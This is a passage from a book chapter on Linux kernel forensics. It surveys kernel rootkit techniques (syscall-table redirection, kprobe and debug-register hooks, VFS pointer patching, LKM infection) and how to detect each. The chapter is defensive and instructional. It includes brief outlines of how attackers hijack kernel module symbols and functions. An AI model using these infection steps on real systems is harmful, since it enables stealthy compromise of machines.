0xffffffff8176ea86 <system_call_fastpath+19>:  
callq  *-0x7e7feba0(,%rax,8)

On x86_64, the preceding call instruction takes place after a swapgs in system_
call(). Here is what the code looks like in entry.S:

call *sys_call_table(,%rax,8)

The (r/e)ax register contains the syscall number that is multiplied by 
sizeof(long) to get the index into the correct syscall pointer. It is easily conceivable 
that an attacker can kmalloc() a phony system call table into the memory (which 
contains some modifications with pointers to malicious functions), and then patch 
the call instruction so that the phony system call table is used. This technique is 
actually quite stealthy because it yields no modifications to the original sys_call_
table. Unfortunately for intruders, however, this technique is still very easy to 
detect for the trained eye.
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Detecting interrupt handler patching
To detect whether the system_call() routine has been patched with a call to a 
phony sys_call_table or not, simply disassemble the code with GDB and /proc/
kcore, and then find out whether or not the call offset points to the address of sys_
call_table. The correct sys_call_table address can be found in System.map or  
/proc/kallsyms.

Kprobe rootkits
This particular type of kernel rootkit was originally conceived and described  
in great detail in a 2010 Phrack paper that I wrote. The paper can be found at 
http://phrack.org/issues/67/6.html.

This type of kernel rootkit is one of the more exotic brands in that it uses the Linux 
kernels Kprobe debugging hooks to set breakpoints on the target kernel function that 
the rootkit is attempting to modify. This particular technique has its limitations, but 
it can be quite powerful and stealthy. However, just like any of the other techniques, 
if the analyst knows what to look for, then the kernel rootkits that use kprobes can be 
quite easy to detect.

Detecting kprobe rootkits
Detecting the presence of kprobes by analyzing memory is quite easy. When a 
regular kprobe is set, a breakpoint is placed on either the entry point of a function 
(see jprobes) or on an arbitrary instruction. This is extremely easy to detect by 
scanning the entire code segment looking for breakpoints, as there is no reason a 
breakpoint should be placed in the kernel code other than for the sake of kprobes. 
For the case of detecting optimized kprobes, a jmp instruction is used instead of a 
breakpoint (int3) instruction. This would be easiest to detect when jmp is placed on 
the first byte of a function, since that is clearly out of place. Lastly, there is a simple 
list of active kprobes in /sys/kernel/debug/kprobes/list that actually contains 
a list of kprobes that are being used. However, any rootkit, including the one that 
I demonstrated in phrack, will hide its kprobes from the file, so do not rely on it. A 
good rootkit will also prevent kprobes from being disabled in /sys/kernel/debug/
kprobes/enabled.

http://phrack.org/issues/67/6.html


Chapter 9

[ 235 ]

Debug register rootkits – DRR
This type of kernel rootkit uses the Intel Debug registers as a means to hijack the 
control flow. A great Phrack paper was written by halfdead on this technique. It is 
available here:

http://phrack.org/issues/65/8.html.

This technique is often hailed as ultra-stealth because it requires no modification  
of sys_call_table. Once again, however, there are ways of detecting this type  
of infection as well.

Detecting DRR
In many rootkit implementations, sys_call_table and other common infection 
points do go unmodified, but the int1 handler does not. The call instruction to the 
do_debug function gets patched to call an alternative do_debug function, as shown  
in the phrack paper linked earlier. Therefore, detecting this type of rootkit is often  
as simple as disassembling the int1 handler and looking at the offset of the call  
do_debug instruction, as follows:

target_address = address_of_call + offset + 5

If target_address has the same value as the do_debug address found in System.
map or /proc/kallsyms, it means that the int1 handler has not been patched and is 
considered clean.

VFS layer rootkits
Another classic and powerful method of infecting the kernel is by infecting  
the kernel's VFS layer. This technique is wonderful and quite stealthy since it 
technically modifies the data segment in the memory and not the text segment, 
where discrepancies are easier to detect. The VFS layer is very object-oriented and 
contains a variety of structs with function pointers. These function pointers are 
filesystem operations such as open, read, write, readdir, and so on. If an attacker  
can patch these function pointers, then they can take control of these operations  
in any way that they see fit.

http://phrack.org/issues/65/8.html
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Detecting VFS layer rootkits
There are probably several techniques out there for detecting this type of infection. 
The general idea, however, is to validate the function pointer addresses and confirm 
that they are pointing to the expected functions. In most cases, these should be 
pointing to functions within the kernel and not to functions that exist in LKMs. One 
quick approach to detecting is to validate that the pointers are within the range of  
the kernel's text segment.

An example of validating a VFS function pointer
if ((long)vfs_ops->readdir >= KERNEL_MIN_ADDR &&
    (long)vfs_ops->readdir < KERNEL_MAX_ADDR)
        pointer_is_valid = 1;
else
        pointer_is_valid = 0;

Other kernel infection techniques
There are other techniques available for hackers for the purpose of infecting the 
Linux kernel (we have not discussed these in this chapter), such as hijacking the 
Linux page fault handler (http://phrack.org/issues/61/7.html). Many of these 
techniques can be detected by looking for modifications to the text segment, which  
is a detection approach that we will examine further in the next sections.

vmlinux and .altinstructions patching
In my opinion, the single most effective method of rootkit detection can be summed 
up by verifying the code integrity of the kernel in the memory—in other words, 
comparing the code in the kernel memory against the expected code. But what 
can we compare kernel memory code against? Well, why not vmlinux? This was 
an approach that I originally explored in 2008. Knowing that an ELF executable's 
text segment does not change from disk to memory, unless it's some weird self-
modifying binary, which the kernel is not… or is it? I quickly ran into trouble and 
was finding all sorts of code discrepancies between the kernel memory text segment 
and the vmlinux text segment. This was baffling at first since I had no kernel rootkits 
installed during these tests. After examining some of the ELF sections in vmlinux, 
however, I quickly saw some areas that caught my attention:

$ readelf -S vmlinux | grep alt

  [23] .altinstructions  PROGBITS         ffffffff81e64528  01264528

  [24] .altinstr_replace PROGBITS         ffffffff81e6a480  0126a480

http://phrack.org/issues/61/7.html
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There are several sections within the Linux kernel binary that contain alternative 
instructions. As it turns out, the Linux kernel developers had a bright idea: what if 
the Linux kernel can intelligently patch its own code segment at runtime, changing 
certain instructions for "memory barriers" based on the specific CPU that was 
detected? This would be a nice idea because fewer stock kernels would need to be 
created for all the different types of CPUs out there. Unfortunately for the security 
researcher who wants to detect any malicious changes in the kernel's code segment, 
these alternative instructions would have to be understood and applied first.

.altinstructions and .altinstr_replace
There are two sections that contain the majority of information needed to know 
which instructions in the kernel are getting patched at runtime. There is a great 
article that explains these sections now, which was not available at the time of  
my early research into this area of the kernel:

https://lwn.net/Articles/531148/

The general idea, however, is that the .altinstructions section contains an 
array of struct alt_instr structs. Each one represents an alternative instruction 
record, giving you the location of the original instruction and the location of the 
new instruction that should be used to patch the original. The .altinstr_replace 
section contains the actual alternative instructions that are referenced by the  
alt_instr->repl_offset member.

From arch/x86/include/asm/alternative.h
struct alt_instr {
   s32 instr_offset;      /* original instruction */
   s32 repl_offset;       /* offset to replacement instruction */
   u16 cpuid;             /* cpuid bit set for replacement */
   u8  instrlen;          /* length of original instruction */
   u8  replacementlen;    /* length of new instruction, <= instrlen */
};

On older kernels, the first two members gave the absolute addresses of the old and 
new instructions, but on newer kernels, a relative offset is used.

https://lwn.net/Articles/531148/
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Using textify to verify kernel code integrity
Over the years, I have designed several tools that detect the integrity of the Linux 
kernel's code segment. This detection technique will obviously work only on kernel 
rootkits that modify the text segment, and most of them do in some way or the 
other. However, there are exceptions such as rootkits that rely only on altering the 
VFS layer, which resides in the data segment and will not be detected by verifying 
the integrity of the text segment. Most recently, the tool that I wrote (a part of the 
kernel Voodoo software suite) is named textify, and it essentially compares the 
text segment of the kernel memory, taken from /proc/kcore, against the text 
segment in vmlinux. It parses .altinstructions and various other sections, such 
as .parainstructions, to learn the locations of code instructions that are legally 
patched. In this way, there are no false positives showing up. Although textify is 
currently not available to the public, the general idea has been explained. Therefore, 
it may be reimplemented by anyone who wishes to attempt the somewhat arduous 
coding procedures necessary to make it work.

An example of using textify to check  
sys_call_table
# ./textify vmlinux /proc/kcore -s sys_call_table

kernel Detective 2014 - Bitlackeys.org

[+] Analyzing kernel code/data for symbol sys_call_table in range 
[0xffffffff81801460 - 0xffffffff81802570]

[+] No code modifications found for object named 'sys_call_table'

# ./textify vmlinux /proc/kcore -a

kernel Detective 2014 - Bitlackeys.org

[+] Analyzing kernel code of entire text segment. [0xffffffff81000000 - 
0xffffffff81773da4]

[+] No code modifications have been detected within kernel memory

In the preceding example, we first check to make sure that sys_call_table  
has not been modified. On modern Linux systems, sys_call_table is marked as  
read-only and is therefore stored in the text segment, which is why we can use textify 
to validate its integrity. In the next command, we run textify with the -a switch, 
which scans every single byte in the entire text segment for illegal modifications.  
We could have simply run -a to begin with since sys_call_table is included  
in -a, but sometimes, it's nice to scan things by symbol name too.
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Using taskverse to see hidden processes
In the Linux kernel, there are a several ways to modify the kernel so that process 
hiding can work. Since this chapter is not meant to be an exegesis on all kernel 
rootkits, I will cover only the most commonly used method and then propose  
a way of detecting it, which is implemented in the taskverse program I made 
available in 2014.

In Linux, the process IDs are stored as directories within the /proc filesystem; each 
directory contains a plethora of information about the process. The /bin/ps program 
does a directory listing in /proc to see which pids are currently running on the 
system. A directory listing in Linux (such as with ps or ls) uses the sys_getdents64 
system call and the filldir64 kernel function. Many kernel rootkits hijack one of 
these functions (depending on the kernel version) and then insert some code that 
skips over the directory entry containing the d_name of the hidden process. As a 
result, the /bin/ps program is unable to find the processes that the kernel rootkit 
deems hidden by skipping over them in the directory listing.

Taskverse techniques
The taskverse program is a part of the kernel Voodoo package, but I released a more 
elementary version for free that uses only one technique to detect hidden processes; 
however, this technique is still very useful. As we were just discussing, rootkits 
commonly hide the pid-directories in /proc so that sys_getdents64 and filldir64 
cannot see them. The most straightforward and obvious approach used to see these 
processes would be to bypass the /proc directory completely and follow the task 
list in the kernel memory to look at each process descriptor that is represented by a 
linked list of struct task_struct entries. The head of the list pointer can be found 
by looking up the init_task symbol. With this knowledge, a programmer with 
some skill can open up /proc/kcore and traverse the task list. The details of this 
code can be viewed in the project itself, which is available on my GitHub profile at 
https://github.com/elfmaster/taskverse.

Infected LKMs – kernel drivers
So far, we have covered various types of kernel rootkit infections in memory, but I 
think that this chapter begs a section dedicated to explaining how kernel drivers can 
be infected by attackers, and how to go about detecting these infections.

https://github.com/elfmaster/taskverse
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Method 1 for infecting LKM files – symbol 
hijacking
LKMs are ELF objects. To be more specific, they are ET_REL files (object files). Since 
they are effectively just relocatable code, the ways to infect them, such as hijacking 
functions, are more limited. Fortunately, there are some kernel-specific mechanisms 
that take place during the load time of the ELF kernel object, the process of relocating 
functions within the LKM, that makes infecting them quite easy. The entire method 
and reasons for it working are described in this wonderful phrack paper at http://
phrack.org/issues/68/11.html, but the general idea is simple:

1. Inject or link in the parasite code to the kernel module.
2. Change the symbol value of init_module() to have the same offset/value  

as the evil replacement function.

This is the method used most ubiquitously by attackers on modern Linux systems 
(2.6 to 3.x kernels). There is another method that has not been specifically described 
anywhere else, and I will share it briefly.

Method 2 for infecting LKM files  
(function hijacking)
LKM files are relocatable code, as previously mentioned, and are therefore quite easy 
to add code to since the parasite can be written in C and then compiled as relocatable 
before linking. After linking the new parasite code, which presumably contains 
a new function (or several functions), the attacker can simply hijack any function 
within the LKM using function trampolines, as described early in this chapter. So, 
the attacker replaces the first several bytes of the target function with a jump to the 
new function. The new function then memcpy's the original bytes to the old function 
before invoking it, and memcpy's the trampoline back in place for the next time the 
hook is to be called.

On newer systems, the write protect bit must be disabled prior to 
patching the text segment, such as with the memcpy() calls that are 
necessary to implement function trampolines.

http://phrack.org/issues/68/11.html
http://phrack.org/issues/68/11.html
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Detecting infected LKMs
The solution to this problem should seem obvious based on the two simple detection 
methods just described. For the symbol hijacking method, you can simply look 
for two symbols that have the same value. In the example shown in the Phrack 
article, the init_module() function was hijacked, but the technique should apply 
to any function that the attacker wants to hijack. This is because the kernel handles 
relocations for each one (although I have not tested this theory):

$ objdump -t infected.lkm

00000040 g     F .text  0000001b evil

...

00000040 g     F .text  0000001b init_module

Notice in the preceding symbol output that init_module and evil have the same 
relative address. This—right here—is an infected LKM as demonstrated in Phrack 
68 #11. Detecting functions hijacked with trampolines is also quite simple and was 
already described in section 9.6.3, where we discussed detecting trampolines in the 
kernel. Simply apply the same analysis to the functions in a LKM file, which can be 
disassembled with tools such as objdump.

Notes on /dev/kmem and /dev/mem
In the good old days, hackers were able to modify the kernel using the /dev/
kmem device file. This file, which gave programmers a raw portal to the kernel 
memory, was eventually subject to various security patches and removed from many 
distributions. However, some distros still have it available to read from, which can 
be a powerful tool for detecting kernel malware, but it is not necessary as long as /
proc/kcore is available. Some of the best work ever written on patching the Linux 
kernel was conceived by Silvio Cesare, which can be seen in his early writings from 
1998 and can be found on vxheaven or on this link:

• Runtime kernel kmem patching: http://althing.cs.dartmouth.edu/local/
vsc07.html

/dev/mem
There have been a number of kernel rootkits that used /dev/mem, namely phalanx 
and phalanx2, written by Rebel. This device has also undergone a number of security 
patches. Currently, it is present on all systems for backwards compatibility, but only 
the first 1 MB of memory is accessible, primarily for legacy tools used by X Windows.

http://althing.cs.dartmouth.edu/local/vsc07.html
http://althing.cs.dartmouth.edu/local/vsc07.html
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FreeBSD /dev/kmem
On some OSes such as FreeBSD, the /dev/kmem device is still available and is 
writable by default. There is even an API specifically designed for accessing it,  
and there's a book called Writing BSD rootkits that demonstrates its abilities.

K-ecfs – kernel ECFS
In the previous chapter, we discussed the ECFS (short for Extended Core File 
Snapshot) technology. It is worth mentioning near the end of this chapter that I have 
worked out some code for a kernel-ecfs, which merges vmlinux and /proc/kcore 
into a kernel-ecfs file. The result is essentially a file similar to /proc/kcore, but one 
that also has section headers and symbols. In this way, an analyst can easily access 
any part of the kernel, LKMs, and kernel memory (such as the "vmalloc'd" memory). 
This code will eventually become publicly available.

A sneak peek of the kernel-ecfs file
Here, we are demonstrating how /proc/kcore has been snapshotted into a file 
called kcore.img and given a set of ELF section headers:

# ./kcore_ecfs kcore.img

# readelf -S kcore.img

here are 6 section headers, starting at offset 0x60404afc:

Section Headers:

  [Nr] Name              Type             Address           Offset

       Size              EntSize          Flags  Link  Info  Align

  [ 0]                   NULL             0000000000000000  00000000

       0000000000000000  0000000000000000           0     0     0

  [ 1] .note             NULL             0000000000000000  000000e8

       0000000000001a14  000000000000000c           0    48     0

  [ 2] .kernel           PROGBITS         ffffffff81000000  01001afc

       0000000001403000  0000000000000000 WAX       0     0     0

  [ 3] .bss              PROGBITS         ffffffff81e77000  00000000

       0000000000169000  0000000000000000  WA       0     0     0
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  [ 4] .modules          PROGBITS         ffffffffa0000000  01404afc

       000000005f000000  0000000000000000 WAX       0     0     0

  [ 5] .shstrtab         STRTAB           0000000000000000  60404c7c

       0000000000000026  0000000000000000           0     0     0

# readelf -s kcore.img | grep sys_call_table

 34214: ffffffff81801460  4368 OBJECT 4 sys_call_table

 34379: ffffffff8180c5a0  2928 OBJECT 4 ia32_sys_call_table

Kernel hacking goodies
The Linux kernel is a vast topic with regards to forensic analysis and reverse 
engineering. There are many exciting ways to go about instrumenting the kernel 
for purposes of hacking, reversing, and debugging, and Linux offers its users many 
entry points into these areas. I have discussed some files and APIs that are useful 
throughout this chapter, but I will also give a small, condensed list of things that 
may be of help in your research.

General reverse engineering and debugging
• /proc/kcore

• /proc/kallsyms

• /boot/System.map

• /dev/mem (deprecated)
• /dev/kmem (deprecated)
• GNU debugger (used with kcore)

Advanced kernel hacking/debugging 
interfaces

• Kprobes
• Ftrace
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Papers mentioned in this chapter
• Kprobe instrumentation: http://phrack.org/issues/67/6.html
• Runtime kernel kmem patching: http://althing.cs.dartmouth.edu/local/

vsc07.html

• LKM infection: http://phrack.org/issues/68/11.html
• Special sections in Linux binaries: https://lwn.net/Articles/531148/
• Kernel Voodoo: http://www.bitlackeys.org/#ikore

Summary
In this final chapter of this book, we stepped out of userland binaries and took a 
general look at what types of ELF binaries are used in the kernel, and how to utilize 
them with GDB and /proc/kcore for memory analysis and forensics purposes. We 
also explained some of the most common Linux kernel rootkit techniques that are 
used and what methods can be applied to detect them. This small chapter serves 
only as a primary resource for understanding the fundamentals, but we just listed 
some excellent resources so that you can continue to expand your knowledge in  
this area.

http://phrack.org/issues/67/6.html
http://althing.cs.dartmouth.edu/local/vsc07.html
http://althing.cs.dartmouth.edu/local/vsc07.html
http://phrack.org/issues/68/11.html
https://lwn.net/Articles/531148/
http://www.bitlackeys.org/#ikore
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